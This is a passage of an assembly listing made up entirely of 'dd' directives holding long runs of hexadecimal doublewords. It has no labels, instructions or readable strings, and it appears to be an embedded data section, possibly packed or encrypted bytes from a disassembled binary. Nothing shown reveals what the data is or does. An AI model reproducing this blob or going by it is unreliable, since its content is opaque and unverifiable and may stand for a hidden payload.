0EF533007h, 981347CEh, 0EC20B021h, 563E00F1h dd 0BA344092h, 90A05201h, 62B069EDh, 0A8B42217h, 9056C303h dd 70109E2Eh, 17070761h, 93A5F6A9h, 848C698h, 0BF20609Bh dd 3D3065Eh, 62A09120h, 89151D7Fh, 8C4D7Ch, 4FE24439h dd 98033Bh, 0CC238801h, 0DF1AA82Ch, 0B7CD1B0Ch, 1DC181AEh dd 0C70A4706h, 87B1D2B0h, 0D7F7805Dh, 0CEE5B455h, 0DED49490h dd 0FD7F8800h, 0CB51025Bh, 757DFEC7h, 345D807Ah, 0B4806361h dd 0B18F7E93h, 9C1409h, 0B04360D5h, 1D7FEE28h, 0B2DD910Eh dd 8B56400Ah, 0A42BBA90h, 3824688h, 0AE130664h, 2531DCD6h dd 0EB9880EDh, 51F206C2h, 9D4E1D69h, 0D8EE0135h, 6F9ADC1h dd 43551988h, 0F0D9C9E7h, 0FB3EC306h, 4821E0F1h, 36FB0E5h dd 0B108B727h, 818BFCBh, 7720C64Fh, 17B21C4Dh, 3443007Bh dd 0AAB39AC0h, 5580E415h, 0FCDC00A4h, 0AF5EB82Fh, 0F6C70062h dd 0FF2EE993h, 31028248h, 22BAE8D6h, 7044CFh, 3DD89E2Dh dd 0EE73E379h, 400F7C24h, 28A8F500h, 9B2128Ah, 16C4EF11h dd 0F5835830h, 80D6E511h, 2E80A988h, 3EADF56Ch, 7F60090Ah dd 0CB80B89Ah, 0CB40DC2Fh, 0E60ECD00h, 86EBD689h, 0C8092AB3h dd 28446BCh, 0A921078Eh, 4447C6h, 2C06FF81h, 9029D459h dd 0C117F82Bh, 0C31B1AE8h, 5823F0D9h, 38E91A57h, 5191F241h dd 0BCECD62Ch, 6FB81E0h, 5F22E11Fh, 7F05CC0h, 0D3F20C42h dd 148C30A9h, 76003AD0h, 0B7DC56FCh, 49A5A04h, 387BEA46h dd 265A8426h, 0AEE2A838h, 87645E52h, 92F021EEh, 12F741Eh dd 5B57CD3Ch, 3043127Dh, 28C4F48h, 3D063F1Fh, 4E191217h dd 3FE08613h, 2D00F74Bh, 0A68A23B1h, 0C09A7D47h, 0ABDE9D21h dd 78002214h, 15EE24D7h, 38A8CCFh, 0B812DFB3h, 992684E1h dd 56469C79h, 0F2073A24h, 75BFE780h, 57CCC317h, 942BDE00h dd 0C2666887h, 0BD4E1A0Ah, 8206F8FFh, 0D60741EEh, 0F0203CDAh dd 467B1282h, 0F56F0424h, 62E0D691h, 0C05224BCh, 77AB837Ch dd 6C882500h, 89DCB6EDh, 0E03D0068h, 0CDE96A3Bh, 0E1C05BBAh dd 5465C41h, 0C859066Ch, 1847BB70h, 74045800h, 0BD02AC9Dh dd 21E9000Ah, 3B5657B4h, 0A2008C4Ah, 1F7F4478h, 725C32Bh dd 87503C35h, 73CF4053h, 9A0158D6h, 0F3E63E0Ch, 4B314863h dd 0C18EBC41h, 6CE2E422h, 40E730h, 0D607178Bh, 0C2E0E688h dd 570D4607h, 286AC1B6h, 5AB0B840h, 83EF2127h, 22216098h dd 0D9B20F38h, 0EC8026D2h, 69FE1EC7h, 0E8453B09h, 0A4AC1DC4h dd 39ACA968h, 1A0DDA8Bh, 0D01DB600h, 0F518218Dh, 0C97956D3h dd 7B3712Bh, 302C7799h, 7A2940F8h, 0BF1D725Ch, 9E406582h dd 87512850h, 56060078h, 8B4BE3D9h, 0ED26EC26h, 0D4408876h dd 92542E69h, 7021103Ch, 0FE0079C8h, 0A0793C6Dh, 757D6Eh dd 0FC5E423Fh, 0ADA8FAABh, 6B280500h, 6C2F734Bh, 48491CBh dd 983B485Eh, 345C1B9Ch, 0E4B72CACh, 121C3C6h, 0DE341372h dd 0D30E96E5h, 0ECF49900h, 296F5642h, 912CA04Bh, 21028677h dd 673D8C3Fh, 10B01912h, 3F1974h, 44482E39h, 0D60DFBEDh dd 7DE93403h, 0E253FFADh, 0C054923Eh, 523D8928h, 5930281Fh dd 3F1E85D9h, 554A3300h, 1379391Bh, 65350A36h, 80F02287h dd 68CD5160h, 0F300ADE0h, 0BA961BBBh, 0CE966h, 0C109299Eh dd 69AE9A7Bh, 22A5C806h, 2A81A88Ah, 0F0BAD3h, 58891142h dd 0AECD4D49h, 0B9133Ah dd 0CFD24569h, 98989CE4h, 0C064538Ah, 24706382h, 1CE18465h dd 1108C4EDh, 789A8A00h, 0E3F24D0Ch, 5EB3074Eh, 30D29934h dd 5CDD0176h, 0A34124h, 0BF40D51Eh, 552CF3E3h, 381D304Bh dd 790B6288h, 0BADF7A05h, 8600EDF6h, 0E6EB5EF1h, 349FAB0h dd 3121AA5Ah, 0B2F81297h, 0B97A51E1h, 0AE8E3E00h, 759C6986h dd 0ECEE3B7Ah, 402D7600h, 4C6E5B4Dh, 0A4D21800h, 5897DEBFh dd 1A9E126Ah, 988D009Fh, 0BCE2C823h, 0F8205E00h, 0D91743A7h dd 911F0638h, 40723961h, 3E6A8F07h, 0DFD03630h, 452E1Dh dd 70CEA4AEh, 0E73D94CCh, 6206DD03h, 0E622ECh, 39D6A681h dd 908CCB6h, 8012953Fh, 2F9A8D17h, 0F8E621ACh, 60D701E3h dd 7CA9E042h, 3FFDF4F9h, 402BB802h, 4071E4C6h, 673E2Ah dd 2ED121CCh, 0D6F6541Fh, 96408601h, 2B0BFFB4h, 0C7C8080h dd 996E13ECh, 36567E1Dh, 0E5B28F7Fh, 2CACE0C6h, 0F1C149Fh dd 88A06FB7h, 165B005h, 89853C80h, 9F340C2h, 4D00A481h dd 0FBDE18B1h, 7C3E9C39h, 28DB0EF2h, 2E8035E6h, 0F6F910C6h dd 0DFB65807h, 7720D746h, 9EF4Ch, 0DAE7D421h, 0C827AA9Dh dd 80A0457Ah, 9701328Fh, 54D49B35h, 0E1D0D08Eh, 33E73062h dd 41F121C0h, 22DBF400h, 0AF8E3A93h, 1260015Ch, 0E142ACCBh dd 8103D379h, 9C9FCCEAh, 0A5DDBBAEh, 0E269BC0h, 4CB6E06Ch dd 0B008BE6h, 44B2723Eh, 0BD2C8966h, 1400AFF0h, 7531A34Eh dd 79CF0E96h, 0B10042C8h, 9060AD12h, 0D03E5F01h, 3DF4F7C2h dd 0E2990020h, 1EB50731h, 0D0865ADEh, 30B27C1h, 77708200h dd 0A07BF960h, 0FC9A0038h, 0C29C99C5h, 2F004CE6h, 729FC9D1h dd 20CC34h, 445A3DCh, 4AEC4624h, 0AC0BEA03h, 3C6759E8h dd 0EF00C140h, 0FD17583Bh, 5C00E00Eh, 0EE9F0710h, 0BBC4F8h dd 0ADB08FFh, 7B265499h, 82584804h, 80FAF5h, 7EF1044Ch dd 78549996h, 1786A8C3h, 79FB3AFh, 0C2B5DAF4h, 6CC6F205h dd 1CC59348h, 14650730h, 3B6D0078h, 0FEF0A4B2h, 0BD00044Eh dd 367E1520h, 5CA60A74h, 6500C4CBh, 12713D81h, 414C0CBEh dd 56E40194h, 0E0820A45h, 0D800282Ch, 0DA4F18C3h, 87448104h dd 0C0050970h, 18800A55h, 0D439A5EBh, 0A152B100h, 0FD7F200Dh dd 0B6D0097h, 7AC4C7CBh, 80535704h, 363C8420h, 0C7D42663h dd 0F068F74Bh, 7BB27C86h, 238C1F4Ch, 705036Bh, 0A6CAA920h dd 88647B19h, 65C00D8h, 3DD7228Ah, 535D6C8Bh, 0EC4C90h dd 78FCE067h, 0D8E7BBh, 0B93DF03h, 941DDD91h, 0D700027Ah dd 96A07D23h, 7AA58E32h, 10C400CEh, 64796876h, 0DEE524C5h dd 87695760h, 784F3930h, 2BCAF9h, 0F575F20Fh, 5CED311Ch dd 0F40DEE2Eh, 0E929400h, 31F947DDh, 892940CBh, 4EA111Dh dd 0B411E612h, 11E91D08h, 0FA1302CDh, 438B44A4h, 3C758A00h dd 4900125Bh, 583223A7h, 3324BBh, 929377C9h, 8A983C90h dd 5C80417Fh, 17480135h, 99E11A7Dh, 0C3D7D088h, 0E33E7E17h dd 0F28D4400h, 5E6ED97h, 2CCB836Fh, 0C50400BEh, 12B916BAh dd 3095A300h, 0E7D803F2h, 0C3B300FBh, 689D82BBh, 0BF001FD3h dd 6F4E6489h, 1D8AFD4Bh, 8F22D085h, 2C8034EFh, 0B2E492D6h dd 3FDC4C00h, 7146F5CEh, 0F4625CBFh, 5D9D8F06h, 373E58E5h dd 1FCE00D9h, 610E1482h, 40830028h, 0BA2FC1C9h, 0A0180A9h dd 0FC5FDC5Bh, 8BF0949Ah, 7D150183h, 9F3F6E8Eh, 1DD3D09Eh dd 0B807215h, 6B5200FCh, 32F6837Bh, 0F19F0098h, 0D87DAB9Ch dd 0A27C8297h, 0E0192700h, 0B1FBDCA3h, 3B5B00A0h, 0B668DE60h dd 28002EA4h, 0B26CC4E2h, 9F3959h, 45CDE9CBh, 4AB8A518h dd 0B7A93103h, 0D8D44BAAh, 39867ADh, 0B22CDD5Ah, 0D2A855C3h dd 0DF50E30Bh, 0F23EF404h, 0DE4100A5h, 0EA827ADCh, 84EE5020h dd 0B1C90073h, 7047953Ah, 0E20006AFh, 0FAA03614h, 1F72D04Ah dd 7DCC2C22h, 0A8998580h, 56E38859h, 0A060DD00h, 0BF3F65Dh dd 16BBEC1Eh, 0BC6312EFh, 0AECE005Bh, 7A60EDEEh, 0EA2403F0h dd 7C056F8Ah, 5B4BDDA8h, 0A8793D01h, 0AEB45EFBh, 6FF87B70h dd 97F077h, 4EB78F99h, 9C0061C7h, 0D9CF39A8h, 7071E6C4h dd 0C0D5FA7Ch, 5B2BF138h, 0A307FF44h, 2994FEEAh, 7134B10h dd 765D1E63h, 0CE0E80B5h, 0D82F5CC0h, 39FA093Eh, 0A133800Dh dd 96E1C679h, 844153CBh, 0E0643C00h, 6431E68h, 78B3200h dd 4918C926h, 81E50038h, 0A0B8D398h, 20E9BA52h, 290ECE4Ch dd 80DD663Bh, 0BFCD07BCh, 4B7246h, 90BA1BFDh, 5F51D9C3h dd 0B61FFBE2h, 99008662h, 632C5BF3h, 3287865h, 41E01307h dd 48C8CA8Ah, 2400ADBDh, 42546311h, 187426h, 46539BD6h dd 39138601h, 9A00E772h, 3EE6F2EBh, 0FE52BF9h, 3C78C029h dd 0F02E9800h, 1A787432h, 2F9DCD00h, 0FA1E453Dh, 0F3B8187Ah dd 0B0C709DDh, 0AF41B700h, 0A18E4F6Ah, 1B9A0396h, 7BFFC28Fh dd 20DFC989h, 51CB343h, 0D5926D88h, 543FF000h, 16453E4h dd 210198B0h, 40AE8246h, 0E89342E4h, 3300C6F2h, 28EAFE35h dd 2CF84989h, 167FD48Dh, 48AC0F20h, 0A3780340h, 0FB776FB3h dd 0D6A0BA00h, 3CD08F50h, 93FF00BDh, 0D25910Eh, 95009B61h dd 9D8AE859h, 0B0414BD0h, 5A7C3C35h, 0EE9E850h, 0A5DE2431h dd 40351C53h, 3AE3216Bh, 0AE3B5253h, 7F4F12C4h, 9CA6400h dd 14C05A83h, 0E8D3BE58h, 0DA591900h, 92BAF4A5h, 0D7282C1Eh dd 0FC253C0Dh, 0DDB560h, 49AA4CD9h, 0D423A457h, 0C314CE18h dd 1EE93D8h, 3B11B7DEh, 0C8913321h, 0F900DCCCh, 0F2C27AAFh dd 78779CE8h, 0C7D400DDh, 0F137A89Ah, 0B300A44Ah, 44CED603h dd 385251C4h, 8C80FC9Dh, 1862E36h, 35006981h, 1DD8957Dh dd 4AE103Ch, 53EDE609h, 0DAC09077h, 7300F3F5h, 4170F7AAh dd 0A051C3Bh, 0DEC85ED1h, 8B6B0090h, 768D7948h, 0B521FB00h dd 5FEBF562h, 1FF90072h, 3EF48FA3h, 0B11D53F6h, 0E3C685A5h dd 30884FFh, 6510C509h, 0C0DC5DB6h, 0A3E5D1BBh, 0E298A07h dd 41B02EA7h, 0E685E11h, 2D671238h, 0F49CC482h, 0F860CC9Ah dd 7E00DD16h, 0FED7BCBDh, 0F053170Bh, 7E2E2A1h, 0EE48501Dh dd 0AE0960DAh, 730EB58Ch, 0A78D2D3Ah, 0C217C8F3h, 860097C5h dd 2CB6DAEFh, 0D1BA0BBDh, 0C0021D5h, 8D67DF8h, 0DF59FE00h dd 1B48ADACh, 8098D2h, 0E101E8F9h, 4632C19Eh, 0F68B700h dd 0E960EF2Ch, 640B00E5h, 403F2BEEh, 67002F94h, 147D56BDh dd 16F1F838h, 0E62602h, 6D5741C1h, 0F401A62Bh, 4605763Bh dd 667160A2h, 91DA7C0h, 99E9848Dh, 55DAD400h, 4A984F77h dd 0B74E3400h, 0DD518CCAh, 2D870F46h, 5607BBB9h, 981AA036h dd 0BE366386h, 0EE0935h, 164BA6D1h, 7B68B88Ch, 746AEF2Ch dd 48FB531Eh, 2282C07Ch, 0B8E19770h, 5A900A9h, 273C4009h dd 0AA4D99BCh, 9096021Ch, 408C51D1h, 1AF3A9Ch, 0D9E82EF1h dd 0F088A494h, 0FE0058EDh, 0B64B67AAh, 1629F58Ah, 3E2E50Dh dd 91609BBAh, 0B85E9EE8h, 80B2383Ah, 62EBA6C8h, 7849CD50h dd 0BB6A0004h, 1A42472Ch, 6B00531Dh, 0D8BE5961h, 996DC7Bh dd 0D577F282h, 0A1EEC880h, 8F07B3DBh, 2A0DA38h, 0E0AF3C83h dd 0AAF0B4h, 9037CD62h, 4DABDD65h, 0CCA41C0Ch, 16630949h dd 42D73006h, 482C4198h, 60E4FDE0h, 0D4008A7Dh, 81221C47h dd 4CAEB8AAh, 1C7A090Dh, 0C0108F44h, 0FD12865Ah, 61B0BBF2h dd 0BD497716h, 81988010h, 7079D18Ah, 58C09D12h, 0A300C51Fh dd 0EEA78604h, 0BB34Dh dd 6CD66720h, 0AFABFCA5h, 0B2B47400h, 381649B9h, 53FF005Ch dd 30F62AC5h, 44001190h, 85A65F45h, 389D61h, 14073C7Fh dd 18E4A577h, 63C8B107h, 47830927h, 0CAD0C06Eh, 0C9C70E60h dd 0FC474B8Eh, 4D0791E6h, 93F6FC45h, 596D8500h, 0AB861B68h dd 161F452h, 0FEA973C7h, 0BA97E93Bh, 166CC70h, 7ABE272Dh dd 0FBD8B428h, 0C24E0019h, 53ECE57Eh, 8C04F187h, 379D6D04h dd 0F03A24C0h, 0EC7E498h, 380D4B43h, 70038D87h, 3E1E32DBh dd 1F791C00h, 8CC89B5h, 0A5AE0C60h, 0E0866B4h, 1996CA00h dd 2E6BC515h, 0CF440053h, 0FE60EBC3h, 0A901D082h, 5278160Dh dd 5025EA73h, 8429A0EBh, 60E307C3h, 0D72E669Dh, 4EB2A089h dd 58006506h, 79869107h, 7C42813Eh, 0D4E801B3h, 2FCCA920h dd 98C370EAh, 0C7737600h, 0BADC6F18h, 0ED3C0317h, 0BDD0AC2h dd 89639AD8h, 752CB400h, 92AA9DB3h, 3D3F484Eh, 6D45C200h dd 4C19F13Eh, 0ECDFD500h, 0B51DD3A4h, 3AF801B8h, 0D5BC50Eh dd 361AD07Dh, 0DD1F3703h, 0C01C3012h, 0F69306h, 0DB9D7483h dd 0C8D72131h, 913D2000h, 0E6E737C5h, 32E8F5h, 2EFD3881h dd 7830F106h, 3E8209C0h, 2AAAF5h, 4821CFA3h, 0C507BFE8h dd 0EC749100h, 0DA782723h, 8E2D3B34h, 0B37FA580h, 2E5EE9CFh dd 2B9C7E00h, 48036A52h, 0FC1200BEh, 44719739h, 8600B70Ch dd 2D50994Bh, 7ACF92E6h, 0C67832h, 931BD9Ch, 1BBEEFE2h dd 0D2504673h, 0AF24CDBCh, 7F03BF38h, 0A8F9B74Fh, 4C3357h dd 8906C6D8h, 0DDA3A7FDh, 0A9C19500h, 8BF04B9h, 185300EBh dd 0E1B6011Ah, 0A6FE756Bh, 932B6C00h, 0F8EFD28Bh, 0FB1F0168h dd 21C8A335h, 5A0ACC28h, 88D94100h, 980820Eh, 34CC00AAh dd 5B9D30CEh, 600CB6A3h, 60D223BDh, 16611C86h, 0F18E005Ch dd 112EA29Ch, 34FF2A00h, 5E276BDCh, 0DE491F74h, 7E30C0E0h dd 79544469h, 0C625410Fh, 0E8DA07Ch, 0E2D755h, 0FB615FF9h dd 87AF7DBDh, 0EBC23500h, 9EA0E34Ah, 4230C0F8h, 4B4678C7h dd 9ADA0200h, 0BB3F0F88h, 409100CEh, 0DCA223D8h, 7800BF50h dd 0E62A1AD0h, 7DE1CA53h, 0BD34034Ah, 0FA56630Ch, 17428DB0h dd 62945150h, 9F05AB42h, 80932A16h, 0F70D4F20h, 91C01502h dd 0E0B9359Eh, 0A1B426h, 404EB5CFh, 8558B3CAh, 8995FC3Fh dd 7FF23h, 7DA41044h, 0D881009Ch, 71669B90h, 9960026Bh dd 0E8144638h, 3D9200F6h, 66B65224h, 0DD00A6E9h, 0AE2397E2h dd 0F426A38h, 0E86270E6h, 0F3AB0Fh, 227E56AFh, 961EE7A3h dd 644144EBh, 0F9150589h, 24589FCCh, 4386F7h, 1A0B85CAh dd 3C0FFC43h, 0EF849AF0h, 30D840F3h, 0B8D8366h, 12C16094h dd 68375080h, 0C0035B0Ch, 24EDE2B5h, 0C5F40051h, 0D7592319h dd 6A006839h, 0EB701EE5h, 7883A038h, 0A5780096h, 0BDA38C33h dd 5600B1DEh, 0AF3DA81Bh, 0F40B42h, 77E19B84h, 0B5A2A483h dd 9839D90Ah, 4B009470h, 4CE03C95h, 0D34F00EEh, 0D5519401h dd 2300376Bh, 4E181FD9h, 305BDECh, 9484E4BCh, 9003F71h dd 738F64D1h, 70816934h, 9EAA125Ah, 0BCD8001Ah, 675CEACDh dd 0D0999D0Fh, 39A2A05Eh, 0A77CE8h, 0BF20D655h, 0DCB12B57h dd 0EC60ADF2h, 3AD1BB6Ah, 0BCAA007Ah, 96E09328h, 5D0EA96Dh dd 0E91CF8Ch, 52C97DB9h, 53A480F3h, 3901B426h, 6B817792h dd 27C7F7EBh, 5238C81Ch, 65D41803h, 8B5BFEh, 0F0E47640h dd 0CE993A23h, 0A8191C1Ch, 0AC041D80h, 90E2F3BAh, 970C09E7h dd 1E836755h, 49C0A6FCh, 0E700B731h, 19681BC6h, 7922E5Dh dd 0F57CFB8Eh, 36920h, 0D6F8C608h, 10C0B115h, 0A7F35F13h dd 0DCDB0007h, 0AC106AC2h, 244D89D0h, 2E4600DCh, 5EC6C48Ah dd 72F60009h, 0EBF522A3h, 9900A06Dh, 35FEBA0Ah, 23B361Dh dd 12AAE813h, 0CC40B8F5h, 0AB00BF74h, 4C085851h, 3FE321F1h dd 1B80F8C3h, 630EA2A3h, 0EA039978h, 0C6226AF0h, 0F55DB86Fh dd 28350080h, 89316148h, 0EB004C11h, 0A27E3B1h, 2456F8DFh dd 0D05D71h, 11DBB42Ah, 397AA350h, 8EB96F1Eh, 8AAD4500h dd 4C700Dh, 49755F2Fh, 0B0B76165h, 9770A31h, 0B8E0FC41h dd 4AA50015h, 1FBBFDF5h, 4E02B62Eh, 0A1610D7Ah, 0ECF8E033h dd 0B6BF0D1h, 48A48224h, 0D400C58Eh, 0FA1718FBh, 0D59A4B00h dd 7E9FB816h, 0D7F4BDh, 0E211C39Dh, 0DFAFC0FFh, 6A940601h dd 7D9CF691h, 0BBAFAC4h, 0C0C33CCDh, 2CAC4420h, 0B4008D9Ah dd 9F7AA46Bh, 0CAA8F8h, 0A25A1B9h, 4A91E7Bh, 0AC26AEE8h dd 6A1F13C9h, 0ABF870C3h, 0E462908Ah, 0F4D5009Ch, 8922F9E5h dd 3C9AB067h, 902ABFAh, 86C64BF3h, 0D9DD619Fh, 75CFCCh dd 3D5E762Dh, 8F2381AEh, 0C799700h, 0F007EB37h, 5AC807E5h dd 50D1A2FFh, 9BB0AAF1h, 1B91C00h, 0E3D64D2Dh, 12CE3E88h dd 73475E82h, 0D0800616h, 0FA6D4C95h, 0DF00F2EAh, 0D589F73Bh dd 0F99E99E5h, 0C036999Eh, 26F35B18h, 4B2C5E9Fh, 0D7189D27h dd 78AB5520h, 41F63Bh, 56870CE3h, 6D909627h, 0D0B0F016h dd 0A3556843h, 2F80E73Bh, 0F50A71Ch, 0D897058Bh, 0F4488100h dd 5C3C4BD3h, 0C0583Eh, 910F066Dh, 3E5A7980h, 593BE21Ah dd 94C90A8h, 2AF7ABAAh, 0B5167480h, 9A00E663h, 0CBC7A3ADh dd 708DBBFh, 0A2EA4C73h, 50D3D00Fh, 191D7CC8h, 0ACC0B088h dd 2A6615C4h, 0CC75006Fh, 1FFF6879h, 58000867h, 19553BEFh dd 0E5F3607h, 65D283E1h, 0BA40A440h, 4B01EE6Ch, 0BDC5686Eh dd 3FFC95EDh, 75827F5Fh, 448E0EEBh, 0B414BE34h, 0F283D800h dd 46BCE3CBh, 589EED07h, 0D640F3FCh, 0E8BD53EEh, 1F145C93h dd 0A8511300h, 3733F234h, 53E0EA00h, 424E7030h, 282D759Bh dd 5580E838h, 0E40484ACh, 0BB042Eh, 64C4EF68h, 0C74A7CE0h dd 79F2B218h, 0D7B5F000h, 0AD007FAFh, 0A1792DB9h, 0FAC0E5C8h dd 0B4F20C80h, 0BB29CBAEh, 5C8F2284h, 22057422h, 6F42CDD3h dd 2175E911h, 0ED40868h, 0AA84D390h, 0B17C4F77h, 2178DA11h dd 72223CE7h, 220E3022h, 0B427352h, 2228EA28h, 93500FA4h dd 9A447F14h, 98CA2055h, 8111D842h, 628873BDh, 0CE070056h dd 81340688h, 6A727BAFh, 0B79E1100h, 4B354F36h, 0A82801B0h dd 80B6CA4h, 6B89EC49h, 64238407h, 0C3209DAFh, 2CA6ECh dd 36AE385Ah, 78138D18h, 54401D26h, 5864280Ch, 83945CF3h dd 0A6B8EC00h, 21970E3Ch, 3D0FDE1Fh, 0FC71F640h, 79136625h dd 629D6033h, 92A0F793h, 2730400h, 7490FA7Fh, 1F309841h dd 0BF8D01h, 764ED66Bh, 0D00004E7h, 8C671806h, 7A5F3424h dd 9DD0896h, 9C3907FAh, 0BC40ABF1h, 1D837DDCh, 0B70B00EEh dd 63861433h, 0CB7CE910h, 0B9A19600h, 4922FCB1h, 4600E9D1h dd 0C004A1Ch, 1DE5AC8Fh, 13ABD41h, 0FDB8CA70h, 0F50A4068h dd 0B6D4F8E2h, 30978200h, 0F926246Fh, 90B1C92h, 71CE00E6h dd 5522B058h, 91300767h, 100D609Fh, 0F22C7828h, 938A008Ch dd 55D494E8h, 54013F69h, 0FCFF2FEDh, 0EEFC1713h, 1C4D06A5h dd 28EBB353h, 556EEC00h, 5ADC663h, 73BA00D7h, 1DD30910h dd 17170FE3h, 0AA00275Dh, 980674CEh, 92340081h, 0DFD1DC54h dd 327A13FEh, 727E0C01h, 0C8EAA831h, 1D89260h, 803042E7h dd 0F08DC6BAh, 0E93E481Dh, 0E3C21F72h, 3CD52200h, 7A67559h dd 2F695B05h, 14D8730Fh, 0D167A8D0h, 21FF2A00h, 9F9EF26Fh dd 0FBC8A043h, 264700A2h, 0E2DD1935h, 5D12AC1Ah, 5200205Ch dd 90C5CD2Fh, 0F30A0096h dd 7EFFDD12h, 0AE00B53Bh, 0AFA35BD5h, 16D41ADh, 3A647940h dd 0D53CE0B8h, 0E547E460h, 9C91EC0Eh, 80C10F7Fh, 874BAE7h dd 8F8D0783h, 0EE04BBFCh, 0BF85F280h, 3600CBB3h, 5B2D00Fh dd 56DA03h, 323D34EBh, 0E1C1A25Eh, 5CC9EF00h, 0CF22839Ah dd 6FBA0010h, 326D7D80h, 6B01143Fh, 0A2D3264Bh, 65D80C8Dh dd 0F32400B7h, 4CE05B36h, 4DF42755h, 0F2E82100h, 2EBD13A7h dd 724F00CCh, 50E1556h, 9E037C8Eh, 47DFC85Dh, 1C4C74DBh dd 405F432Bh, 5927A5F6h, 29005564h, 0E34F5670h, 91BE8Fh dd 8ACADF81h, 9F93C94Ch, 3DE21400h, 0C8E1425Ch, 9AE50775h dd 0E1AC3h, 746C47Ch, 7A1F1B90h, 2DC0202Ch, 6CF8D1A7h dd 775F00BBh, 9318F5C5h, 3900289Bh, 6E45958Dh, 12BD9DE0h dd 0AC483656h, 7A8607D0h, 6E7F76A7h, 0BC4CE099h, 3A854Ah dd 0FF1E0872h, 5F8010B6h, 0C34E1D07h, 0F5507973h, 0E778CAh dd 0A93A99Dh, 0D8CB9437h, 0E9806700h, 9AE20EF9h, 0D080575h dd 1C2EF40Ch, 0BA3B84ECh, 0AF28F2h, 0A4B25121h, 9D71ADEEh dd 373BD400h, 49E8D127h, 0EC93B804h, 869F00A5h, 1DA71571h dd 983B7E91h, 0E5E42413h, 0D9F9803Bh, 831AED6Ch, 0AACE003Ch dd 0C467C96Bh, 5E28319Dh, 7400E5BDh, 97B313D1h, 18A507h dd 862389F9h, 3D60F556h, 2EFD5800h, 0D5C07E6Bh, 5D960020h dd 78166312h, 0EB0095D9h, 0CE13E1CAh, 0F025FB1h, 0DF7A394Ch dd 3FBE6100h, 0F80715DEh, 18576D35h, 957CC040h, 25EF0080h dd 7508D41Bh, 7600B7AAh, 82E6B19Fh, 55ABC3h, 0CE31E461h dd 890D136Ch, 0C8900E28h, 4FD2140Eh, 0E673202Ah, 0FBD736h dd 0B01A68A8h, 0EC311C6Bh, 80E73D00h, 1B81D508h, 4ACF0095h dd 471D4073h, 0C50001B2h, 5F06C291h, 0E79CF42Dh, 43E5DC00h dd 0AF48ED60h, 968711Ah, 4CE949C7h, 8BD79C01h, 0EC0AD025h dd 0AD015FF0h, 52C9453Dh, 2E306F94h, 24C2071Ah, 0B1CC7218h dd 30FC0F4Bh, 0EC00EBD4h, 0F2BE4C3Eh, 0D8C0CEh, 1EAA22DBh dd 0EB4FB8C2h, 29953C00h, 416D12ADh, 0CA1F00A7h, 34189E2Fh dd 0ED0F1D44h, 0C011E153h, 0F39586F1h, 886C002Eh, 616D7C1Fh dd 0DD7367E8h, 1A77D103h, 12105CEh, 41D33A0Eh, 0F8C1AC63h dd 0FE4FC94h, 7EA48B00h, 0EA8E08B4h, 0C2600CEh, 0E263C678h dd 5000FDDCh, 2A5B1B53h, 154433Fh, 6E799EE9h, 0E86F98D0h dd 0AE0072C3h, 59BCB974h, 49C8BA83h, 77D34C2h, 0CEE114E6h dd 0DD03A32Ah, 0D3301900h, 27EE2C62h, 4090B3h, 966DF16Fh dd 0B8C4820Fh, 8057DD00h, 0BB7E4BE6h, 6AA80021h, 0C3F1E1D2h dd 0BE0044A7h, 9E908C31h, 0A9D0Eh, 162A1A36h, 87DDF286h dd 1E554D00h, 468BAD95h, 2E2700C6h, 0CE5A6828h, 1C00E4BBh dd 0D2DEE6D7h, 1FEC2A97h, 0C7C5354h, 12909624h, 1F06507Dh dd 0AF8456DDh, 797E0F78h, 3C254548h, 7CE7803Bh, 0EC004E57h dd 3A326055h, 95C5E5h, 0BD55177h, 0B3D97247h, 1F6CCC3Ch dd 94801D18h, 0E259E6E8h, 0D8580013h, 1E063B11h, 7C003657h dd 806C65D0h, 14E5D9Dh, 481B1C84h, 8076AC29h, 41F71B4h dd 0D2BB24h, 498D6368h, 8E5C74Eh, 0CB3D4100h, 6D4895F3h dd 0FC0407FEh, 0B0ECAEE0h, 32E5C2BAh, 89CA8700h, 262E8FF9h dd 6F3E00F3h, 0D95A69ACh, 53009E4Bh, 7FD0E879h, 45C475h dd 0C8DAB07Dh, 2DDFF7B2h, 0E6261F03h, 0D09992FDh, 34AF4Ah dd 63FB55E4h, 8A9660DDh, 6C146900h, 77DE33Dh, 7ACE0088h dd 3AE6EECCh, 94007923h, 665268E1h, 1C328FD2h, 0C75131E2h dd 80483711h, 0EDFFE067h, 18F78102h, 605FF091h, 9B09ADFh dd 0B7776082h, 5480D709h, 0F13DD8DFh, 0E28F1200h, 18CC506Ah dd 309F03Bh, 0E82FF05Bh, 0B0F78A86h, 9D2D02CFh, 4EDE8400h dd 6FBDEDB4h, 0E9113E19h, 343F2F80h, 58461D67h, 70222A03h dd 8D6C450Ch, 488F0C90h, 13FA009Ah, 7ED79293h, 371DA010h dd 0E240A680h, 40E3CB41h, 8A342483h, 0A238074h, 99514D45h dd 8FE29600h, 60C421A9h, 7DA6755Ch, 5DA0004Bh, 22765A23h dd 0FA004896h, 0A7DE1DC2h, 28DD456h, 4E77A064h, 0E4407591h dd 0A60B383Ch, 0F2B7E5Fh, 0D09447A8h, 0BB5E2810h, 6A69C026h dd 144A2D17h, 8A06EE12h, 0D740081Eh, 0CE0A7C5h, 853016AAh dd 0D19700B8h, 0D097DC45h, 4DED4013h, 4E147000h, 0EA2C292h dd 0BFEA5685h, 37A0F1CFh, 0AA467F1Ch, 21C51203h, 0ADA7F9h dd 7338698h, 39915A9Ah, 0A4924B24h, 0C599A901h, 10C4CEB6h dd 3E87D0Fh, 0A5CF29EBh, 0C3B04D5Fh, 39006705h, 0EA87DA02h dd 0FC667DFAh, 2F0E1353h, 21F40070h, 0A5C903A6h, 2DE48C09h dd 0CCC800C1h, 1C26B393h, 23C6005h, 204B199Fh, 58040E5h dd 0ABD4D109h, 1CB6FC18h, 7FC69D0Ah, 6A60EE81h, 4094D70Eh dd 0E3EDF09Ch, 84EA3E00h, 0C28E3C1Dh, 1B4A079h, 0B6A40EC9h dd 0A1E17A58h, 0E0350CA7h, 400FF4FBh, 5F509E73h, 0B0648440h dd 51916Dh, 4A272DA5h, 0DA14CC10h, 8443800Fh, 0E908603Ch dd 5ECDB5h, 3ECBED51h, 4A108F20h, 5D25C407h, 9650E3F9h dd 0DF373Fh, 5CF817B6h, 452F53D0h, 61864102h, 87EA0543h dd 38506890h, 315ADC3h, 44C093F2h, 30E71133h, 0BAB3C816h dd 0FE658201h, 0D825DB8Bh, 0F064ECh, 0BE28DC5h, 0A3E80C5Eh dd 0DC6DCC01h, 3ABF6FD1h, 2E088460h, 784C209Fh, 7034A2Ch dd 0EB1ACC18h, 6F40F122h, 0F84024h, 0FD3D70DAh, 0D8792BCBh dd 0C100E07Bh, 1F603514h, 